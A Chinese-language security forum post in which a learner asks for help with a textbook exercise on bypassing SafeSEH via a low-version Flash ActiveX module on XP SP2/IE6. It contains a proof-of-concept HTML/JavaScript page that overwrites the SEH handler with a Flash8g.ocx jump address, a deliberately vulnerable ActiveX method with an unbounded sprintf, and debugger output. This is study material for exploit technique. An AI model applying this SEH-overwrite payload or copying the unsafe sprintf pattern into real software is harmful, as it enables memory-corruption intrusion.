实验做了一天了,眼看着图书馆就要关门了,还是没解决问题,还是发帖求助大家:)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
书中305页开始的利用低版本Adobe Flash Player ActiveX控件绕过SafeSEH
我本地实验环境:
OS: XP SP2
浏览器: IE 6
Flash Ver: 8.0.42.0
ActiveX开发环境: vs2012
编译使用的UNICODE, 在静态库中使用的dll,已禁用编译优化
实验原理应该是低版本的flash player不支持SafeSEH的特性。
poc页面代码
<html>
<body>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,42,0" width="160" height="260">
<param name="movie" value="1.swf" />
<param name="quality" value="high" />
<embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed>
</object>
<object classid="clsid:1A27B304-B5C8-44A3-B196-688D7E0745E7" id="test"></object>
<script>
var s = "\u9090";
var z = 0;
while (s.length < 136) {
s += "\u9090";
}
s += "\u0D06\u3008";
test.test(s);
z = 3/z;
</script>
</body>
</html>
poc解释,计算出dest缓冲区至最近的seh需要淹没268个字节,
\u0D06\u3008(0x30080D06) 是在ActiveX中找到的跳板
地址=30080D06 CALL [EBP+0x24] at 0x30080d06 Module: C:\WINDOWS\system32\Macromed\Flash\Flash8g.ocx
在代码执行完sprintf时,堆栈如下:
seh函数指针覆盖掉了。继续f9
崩了。。。和书中所述不符,为了制造异常,var z=0; z = 3/z; 是我后来加上的。
我在0x30080D06处下断了,按书中所述应该可以断在这里呀?
求教 (图书馆赶人了。。先撤了) :)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
ActiveX代码
void CVulnerAX_SEHCtrl::test(LPCTSTR str)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
// TODO: 在此添加调度处理程序代码
printf("aaaa");
char dest[100];
sprintf(dest, "%s", str);
int a = 0;
a = 4/a;
printf("%d",a);
}
情况还是同昨天一样。
10001998 C745 90 0000000>mov dword ptr ss:[ebp-0x70],0x0
1000199F B8 04000000 mov eax,0x4
100019A4 99 cdq
100019A5 F77D 90 idiv dword ptr ss:[ebp-0x70]
f9的话,程序进程直接终止了。od异常设置如下
单步的话,执行至idiv,f8则跳至ntdll模块,f9进程终止。。
小生再看一下,也请各位指点下~感激
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!